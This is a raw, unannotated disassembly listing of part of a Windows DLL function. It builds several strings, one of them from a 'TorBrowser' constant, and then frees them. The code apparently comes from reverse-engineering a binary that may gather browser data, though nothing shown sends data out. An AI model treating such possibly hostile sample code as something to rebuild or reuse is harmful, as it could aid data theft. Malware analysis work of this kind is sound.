mov r8d, 3
lea rdx, [0x180113c6c]
lea rcx, [rbp + 0x170]
call fcn.1800be770
mov r8d, 1
lea rdx, [0x180113c68]
lea rcx, [rbp + 0x170]
call fcn.1800be770
xor r12d, r12d
lea rdx, str.TorBrowser
lea rcx, [rbp + 0x340]
movups xmm0, xmmword [rax]
lea r8d, [r12 + 0xa]
movups xmmword [rbp + 0x340], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x350], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
call fcn.1800be770
lea r8d, [r12 + 1]
lea rdx, [0x180113c68]
lea rcx, [rbp + 0x310]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x310], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x320], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
call fcn.1800be770
cmp qword [rbp - 0x70], 0x10
lea rdx, [rsp + 0x78]
mov r8, rdi
lea rcx, [rbp + 0x2f0]
cmovae rdx, qword [rsp + 0x78]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2f0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x300], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
call fcn.1800be770
lea r8d, [r12 + 1]
lea rdx, [0x180113c68]
lea rcx, [rbp + 0x2d0]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2d0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2e0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
call fcn.1800be770
cmp qword [rbp - 0x50], 0x10
lea rdx, [rbp - 0x68]
mov r8, rsi
lea rcx, [rbp + 0x2b0]
cmovae rdx, qword [rbp - 0x68]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2b0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2c0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
call fcn.1800be770
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x290], xmm0
lea r8d, [r12 + 1]
movups xmm1, xmmword [rax + 0x10]
lea rdx, [0x180113c68]
lea rcx, [rbp + 0x290]
movups xmmword [rbp + 0x2a0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
call fcn.1800be770
cmp qword [rbp - 0x30], 0x10
lea rdx, [rbp - 0x48]
mov r8, r15
lea rcx, [rbp + 0x270]
cmovae rdx, qword [rbp - 0x48]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x270], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x280], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
call fcn.1800be770
xor r15d, r15d
lea r8d, [r12 + 3]
lea rdx, [0x180113c64]
lea rcx, [rbp + 0x250]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x250], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x260], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
call fcn.1800be770
mov rdx, qword [rsp + 0x48]
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
movups xmmword [rbp + 0x430], xmm6
movups xmmword [rbp + 0x440], xmm7
cmp rdx, 0x10
jb 0x18009e4b6
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009e4b1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009ec3c
call fcn.1800cb8d0
mov rdx, qword [rbp + 0x268]
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x40], xmm7
cmp rdx, 0x10
jb 0x18009e501
mov rcx, qword [rbp + 0x250]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009e4fc
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009ec3c
call fcn.1800cb8d0
mov rdx, qword [rbp + 0x288]
mov qword [rbp + 0x260], r15
mov qword [rbp + 0x268], 0xf
mov byte [rbp + 0x250], r12b
cmp rdx, 0x10
jb 0x18009e55b
mov rcx, qword [rbp + 0x270]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009e556
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009ec3c
call fcn.1800cb8d0
mov rdx, qword [rbp + 0x2a8]
mov qword [rbp + 0x280], r15
mov qword [rbp + 0x288], 0xf
mov byte [rbp + 0x270], r12b
cmp rdx, 0x10
jb 0x18009e5b5
mov rcx, qword [rbp + 0x290]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009e5b0
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009ec3c
call fcn.1800cb8d0
mov rdx, qword [rbp + 0x2c8]
mov qword [rbp + 0x2a0], r15
mov qword [rbp + 0x2a8], 0xf
mov byte [rbp + 0x290], r12b
cmp rdx, 0x10
jb 0x18009e60f
mov rcx, qword [rbp + 0x2b0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009e60a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009ec3c
call fcn.1800cb8d0
mov rdx, qword [rbp + 0x2e8]
mov qword [rbp + 0x2c0], r15
mov qword [rbp + 0x2c8], 0xf
mov byte [rbp + 0x2b0], r12b
cmp rdx, 0x10
jb 0x18009e669
mov rcx, qword [rbp + 0x2d0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009e664
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009ec3c
call fcn.1800cb8d0
mov rdx, qword [rbp + 0x308]
mov qword [rbp + 0x2e0], r15
mov qword [rbp + 0x2e8], 0xf
mov byte [rbp + 0x2d0], r12b
cmp rdx, 0x10
jb 0x18009e6c3
mov rcx, qword [rbp + 0x2f0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009e6be
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009ec3c
call fcn.1800cb8d0
mov rdx, qword [rbp + 0x328]
mov qword [rbp + 0x300], r15
mov qword [rbp + 0x308], 0xf
mov byte [rbp + 0x2f0], r12b
cmp rdx, 0x10
jb 0x18009e71d
mov rcx, qword [rbp + 0x310]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009e718
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009ec3c
call fcn.1800cb8d0
mov rdx, qword [rbp + 0x358]
mov qword [rbp + 0x320], r15
mov qword [rbp + 0x328], 0xf
mov byte [rbp + 0x310], r12b
cmp rdx, 0x10
jb 0x18009e777
mov rcx, qword [rbp + 0x340]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009e772
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009ec3c
call fcn.1800cb8d0
mov rdx, qword [rbp + 0x188]
mov qword [rbp + 0x350], r15
mov qword [rbp + 0x358], 0xf
mov byte [rbp + 0x340], r12b
cmp rdx, 0x10
jb 0x18009e7d1
mov rcx, qword [rbp + 0x170]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009e7cc
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009ec3c
call fcn.1800cb8d0
xor r8d, r8d
lea rdx, [0x1801090b0]
lea rcx, [rsp + 0x78]
call fcn.1800bef90
xor r8d, r8d
lea rdx, [0x1801090b0]
lea rcx, [rbp - 0x68]
call fcn.1800bef90
xor r8d, r8d
lea rdx, [0x1801090b0]
lea rcx, [rbp - 0x48]
call fcn.1800bef90
mov r12, qword [rsp + 0x48]
mov r13, qword [rsp + 0x40]
inc dword [0x180129a3c]
movabs rsi, 0x2aaaaaaaaaaaaaab
mov r8, qword [rbp + 0xb0]
mov rax, rsi
mov rcx, qword [rbp + 0xb8]
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0xf8]
cmovne rax, r8
mov rcx, qword [rax]
lea rax, [rbp + 0xf8]
sub rcx, qword [rbp + 0xa0]
test rdx, rdx
cmovne rax, r8
cmp byte [rax + 0x10], 0
je 0x18009e87f
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x380], xmm0
jmp 0x18009e88a
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x380], xmm0
mov rax, qword [rbp + 0x388]
sub rax, qword [rbp + 0x380]
mov rdx, qword [rsp + 0x70]
add rax, rcx
mov r15, qword [rbp - 0x70]
add rbx, rax
mov rax, qword [rsp + 0x58]
mov rsi, qword [rbp - 0x50]
mov rdi, qword [rbp - 0x30]
jmp 0x18009d6f0
call qword [0x1801299c8]
cmp rdi, 0x10
jb 0x18009e8f7
mov rcx, qword [rbp - 0x48]
lea rdx, [rdi + 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009e8f2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009ec42
call fcn.1800cb8d0
cmp rsi, 0x10
jb 0x18009e92f
mov rcx, qword [rbp - 0x68]
lea rdx, [rsi + 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009e92a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009ec42
call fcn.1800cb8d0
cmp r15, 0x10
jb 0x18009e968
mov rcx, qword [rsp + 0x78]
lea rdx, [r15 + 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009e963
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009ec42
call fcn.1800cb8d0
mov r8, qword [rbp + 0xb0]
test r8, r8
je 0x18009e9e4
mov rcx, qword [rbp + 0xc0]
movabs rax, 0x2aaaaaaaaaaaaaab
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov rax, r8
lea rdx, [rdx + rdx*2]
shl rdx, 3
cmp rdx, 0x1000
jb 0x18009e9c6
mov r8, qword [r8 - 8]
add rdx, 0x27
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009ec42
mov rcx, r8
call fcn.1800cb8d0
xorps xmm0, xmm0
xor esi, esi
movdqa xmmword [rbp + 0xb0], xmm0
mov qword [rbp + 0xc0], rsi
jmp 0x18009e9e6
xor esi, esi
mov rcx, qword [rbp + 0x28]
mov rdi, 0xffffffffffffffff
test rcx, rcx
je 0x18009ea27
mov eax, edi
lock xadd dword [rcx + 0x2c], eax
cmp eax, 1
jne 0x18009ea27
mov rbx, qword [rbp + 0x28]
test rbx, rbx
je 0x18009ea27
lea rax, [rbx + 0x10]
mov rcx, rbx
mov rbx, qword [rax]
mov edx, 1
mov qword [rax], rsi
mov rax, qword [rcx]
call qword [rax]
test rbx, rbx
jne 0x18009ea0b
mov rcx, qword [rbp + 0x48]
mov qword [rbp + 0x28], rsi
test rcx, rcx
je 0x18009ea4d
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x18009ea4d
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov rcx, qword [rbp + 0x50]
test rcx, rcx
je 0x18009ea87
mov eax, edi
lock xadd dword [rcx + 0x2c], eax
cmp eax, 1
jne 0x18009ea87
mov rbx, qword [rbp + 0x50]
test rbx, rbx
je 0x18009ea87
lea rax, [rbx + 0x10]
mov rcx, rbx
mov rbx, qword [rax]
mov edx, 1
mov qword [rax], rsi
mov rax, qword [rcx]
call qword [rax]
test rbx, rbx
jne 0x18009ea6b
mov rcx, qword [rbp + 0x70]
mov qword [rbp + 0x50], rsi
test rcx, rcx
je 0x18009eaad
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x18009eaad
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov rax, qword [rbp + 0x78]
test rax, rax
je 0x18009eae5
lock xadd dword [rax + 0x2c], edi
cmp edi, 1
jne 0x18009eae5
mov rbx, qword [rbp + 0x78]
test rbx, rbx
je 0x18009eae5
lea rax, [rbx + 0x10]
mov rcx, rbx
mov rbx, qword [rax]
mov edx, 1
mov qword [rax], rsi
mov rax, qword [rcx]
call qword [rax]
test rbx, rbx
jne 0x18009eac9
mov rcx, qword [rbp + 0x98]
mov qword [rbp + 0x78], rsi
test rcx, rcx
je 0x18009eb0e
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x18009eb0e
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov r15, qword [rbp + 0x500]
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x18009eb52
mov rcx, qword [rsp + 0x58]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009eb4d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009ebf4
call fcn.1800cb8d0
mov rdi, qword [rbp + 0x4f0]
movups xmm0, xmmword [rsp + 0x30]
mov rbx, qword [rbp + 0x4f8]
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [rdi], xmm0
movups xmmword [rdi + 0x10], xmm1
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x18009eba7
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x18009eba2
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18009ebfa
mov rcx, r8
call fcn.1800cb8d0
mov rcx, r15
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
call fcn.1800be810
mov rcx, r14
call fcn.1800be810
movaps xmm6, xmmword [rsp + 0x5a0]
mov rax, rdi
movaps xmm7, xmmword [rsp + 0x590]
mov rbx, qword [rsp + 0x608]
add rsp, 0x5b0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.1800dab30
int3
call fcn.1800dab30
int3
call fcn.1800dab30
int3
call fcn.1800dab30
int3
call fcn.18008a2a0
int3
call fcn.18008a2a0
int3
call fcn.18008a2a0
int3
call fcn.1800dab30
int3
call fcn.1800dab30
int3
call fcn.1800dab30
int3
call fcn.1800dab30
int3
call fcn.1800dab30
int3
call fcn.1800dab30
int3
call fcn.1800dab30
int3